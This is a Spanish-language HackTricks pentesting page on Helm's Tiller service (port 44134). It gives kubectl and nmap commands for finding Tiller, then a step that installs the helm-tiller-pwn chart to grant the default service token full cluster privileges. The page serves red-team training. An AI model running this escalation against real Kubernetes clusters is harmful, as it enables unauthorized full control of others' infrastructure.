tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informaci贸n B谩sica
Helm es el gestor de paquetes para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios p煤blicos y privados. Estos paquetes se llaman Helm Charts. Tiller es el servicio que se ejecuta por defecto en el puerto 44134 ofreciendo el servicio.
Puerto por defecto: 44134
PORT STATE SERVICE VERSION
44134/tcp open unknown
Enumeraci贸n
Si puedes enumerar pods y/o servicios de diferentes namespaces, enum茅ralos y busca los que tengan "tiller" en su nombre:
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
Ejemplos:
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
Tambi茅n podr铆as intentar encontrar este servicio en ejecuci贸n verificando el puerto 44134:
sudo nmap -sS -p 44134 <IP>
Una vez que lo hayas descubierto, puedes comunicarte con 茅l descargando la aplicaci贸n cliente helm. Puedes usar herramientas como homebrew
, o mirar en la p谩gina de lanzamientos oficial. Para m谩s detalles, o para otras opciones, consulta la gu铆a de instalaci贸n.
Luego, puedes enumerar el servicio:
helm --host tiller-deploy.kube-system:44134 version
Escalaci贸n de Privilegios
Por defecto, Helm2 se instal贸 en el namespace kube-system con altos privilegios, as铆 que si encuentras el servicio y tienes acceso a 茅l, esto podr铆a permitirte escalar privilegios.
Todo lo que necesitas hacer es instalar un paquete como este: https://github.com/Ruil1n/helm-tiller-pwn que le dar谩 al token de servicio predeterminado acceso a todo en todo el cl煤ster.
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
En http://rui0.cn/archives/1573 tienes la explicaci贸n del ataque, pero b谩sicamente, si lees los archivos clusterrole.yaml y clusterrolebinding.yaml dentro de helm-tiller-pwn/pwnchart/templates/ puedes ver c贸mo se est谩n otorgando todos los privilegios al token predeterminado.
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.